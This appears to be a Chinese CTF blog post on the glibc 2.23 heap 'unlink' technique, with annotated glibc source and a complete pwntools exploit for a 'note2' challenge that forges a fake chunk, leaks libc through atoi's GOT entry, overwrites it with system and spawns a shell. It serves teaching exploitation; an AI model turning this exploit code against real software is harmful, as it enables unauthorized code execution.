boxmoe_header_banner_img

all in pwn!

文章导读

unlink


avatar
admin 2026年8月16日 50

unlink主要就是伪造一个fake chunk,来利用unlink的取堆块的操作来进行任意地址写。

glibc2.23版本的unlink的源代码为:

#define unlink(AV, P, BK, FD) {
    /* ── ① 取指针 ───────────────────────────── */
    FD = P->fd;          /* FD = P 的前驱 */
    BK = P->bk;          /* BK = P 的后继 */

    /* ── ② 链完整性检查 ─────────────────────── */
    /* 条件: P 必须被前后节点同时"记得"          */
    if (FD->bk != P || BK->fd != P)
        malloc_printerr(check_action, "corrupted double-linked list", P, AV);
    else
    {
        /* ── ③ 摘除 fd/bk 链 ─────────────────── */
        FD->bk = BK;     /* 前驱 → 指向后继 */
        BK->fd = FD;     /* 后继 → 指向前驱 */

        /* ── ④ largebin 专属:跳表维护 ────────── */
        /* 进入条件: 大 chunk 且 P 是 size 组代表 */
        if (!in_smallbin_range(P->size) && P->fd_nextsize != NULL)
        {
            /* ── ⑤ 跳表一致性检查 ─────────────── */
            /* 条件: P 在跳表中的前后节点也记得 P  */
            if (P->fd_nextsize->bk_nextsize != P
                || P->bk_nextsize->fd_nextsize != P)
                malloc_printerr(check_action,
                                "corrupted double-linked list (not small)",
                                P, AV);

            /* ── ⑥ 按 FD 是否在跳表上分路 ─────── */
            if (FD->fd_nextsize == NULL)   /* ⑥-a FD 不在跳表 */
            {
                if (P->fd_nextsize == P)   /* ⑦  跳表只有 P */
                    FD->fd_nextsize = FD->bk_nextsize = FD;      /* ⑦-a 自指 */
                else
                {                          /* ⑦-b 换代表: FD 顶替 P */
                    FD->fd_nextsize        = P->fd_nextsize;
                    FD->bk_nextsize        = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                }
            }
            else                           /* ⑥-b FD 在跳表 */
            {                              /* ⑧  前后代表直接相连 */
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
        }
    }
}

对应的EXP为

# coding=UTF-8
from pwn import *

p = process('./note2')
note2 = ELF('./note2')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def newnote(length, content):
    p.recvuntil(b'option--->>')
    p.sendline(b'1')
    p.recvuntil(b'(less than 128)')
    p.sendline(str(length))
    p.recvuntil(b'content:')
    p.sendline(content)

def shownote(id):
    p.recvuntil(b'option--->>')
    p.sendline(b'2')
    p.recvuntil(b'note:')
    p.sendline(bytes(id))

def editnote(id, choice, s):
    p.recvuntil(b'option--->>')
    p.sendline(b'3')
    p.recvuntil(b'note:')
    p.sendline(str(id))
    p.recvuntil(b'2.append]')
    p.sendline(str(choice))
    p.sendline(s)

def deletenote(id):
    p.recvuntil(b'option--->>')
    p.sendline(b'4')
    p.recvuntil(b'note:')
    p.sendline(str(id))

p.recvuntil(b'name:')
p.sendline(b'hello')
p.recvuntil(b'address:')
p.sendline(b'hello')

ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = b'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + b'b' * 64 + p64(0x60)

newnote(128, content)

newnote(0, b'a' * 8)

newnote(0x80, b'b' * 16)

deletenote(1)
content = b'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)

deletenote(2)

atoi_got = note2.got['atoi']
content = b'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
shownote(0)

p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
print(atoi_addr)
atoi_addr = u64(atoi_addr.ljust(8, b'\x00'))
print('leak atoi addr: ' + hex(atoi_addr))

atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest

print('leak system addr: ', hex(system_addr))

content = p64(system_addr)
editnote(0, 1, content)

p.recvuntil(b'option--->>')
p.sendline(b'/bin/sh')
p.interactive()



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码